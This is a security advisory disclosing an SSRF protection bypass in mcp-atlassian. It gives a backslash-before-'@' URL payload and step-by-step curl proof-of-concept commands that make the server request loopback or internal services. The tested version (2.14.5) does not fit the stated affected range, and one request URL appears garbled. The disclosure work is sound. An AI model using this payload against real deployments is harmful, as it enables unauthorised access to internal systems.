GHSA-hgcf-4mq8-5266High

MCP Atlassian: SSRF Protection Bypass

Published
September 22, 2026
Last Modified
September 22, 2026

🔗 CVE IDs covered (1)

📋 Description

Environment

  • Project: sooperset/mcp-atlassian
  • Affected function: validate_url_for_ssrf()
  • Affected path: header-based Jira/Confluence URL authentication flow
  • Tested endpoint: POST /mcp
  • Tested version: 2.14.5

Description

The SSRF protection in validate_url_for_ssrf() can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

parsed = urlparse(url)
hostname = parsed.hostname
...
ip_error = _check_ip_address(hostname)
...
dns_error = _check_dns_resolution(hostname)

Payload:

http://127.0.0.1:6666\@www.baidu.com

For this input, urllib.parse.urlparse() treats the hostname as:

www.baidu.com

Therefore, validate_url_for_ssrf() validates www.baidu.com instead of 127.0.0.1. However, the downstream request made through the Atlassian client / requests.Session reaches the local service:

http://127.0.0.1:6666/%[email protected]/rest/api/2/myself

This allows an attacker-controlled Jira URL to target loopback or internal services.

Proof of Concept

Start a local HTTP server:

python3 -m http.server 6666 --bind 127.0.0.1

Start mcp-atlassian with streamable HTTP transport on port 9000.

Initialize an MCP session with the malicious Jira URL:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"ssrf-test","version":"0.1"}}}'

Send the initialized notification using the returned Mcp-Session-Id:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","method":"notifications/initialized"}'

Trigger Jira fetcher creation and token validation:

curl -i http://127.0.0.1:9000/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: <SESSION_ID>' \
  -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \
  -H 'X-Atlassian-Jira-Personal-Token: dummy-token' \
  --data '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"jira_get_issue","arguments":{"issue_key":"TEST-1"}}}'

Observed response:

The local HTTP server also receives the request, confirming SSRF.

Root Cause

The security validation and the actual HTTP request do not use the same URL interpretation.

  • validate_url_for_ssrf() uses urllib.parse.urlparse() and validates parsed.hostname.
  • For the payload, parsed.hostname is www.baidu.com.
  • The actual request is sent by the Atlassian client through requests.Session.
  • requests treats the target as 127.0.0.1:6666 and percent-encodes the backslash into the request path.

This parser mismatch allows a restricted host to be hidden before \@.

Impact

An attacker who can provide X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url may force the server to send requests to loopback or internal services despite SSRF validation.

🎯 Affected products1

  • pip/mcp-atlassian:< 0.22.0

🔗 References (6)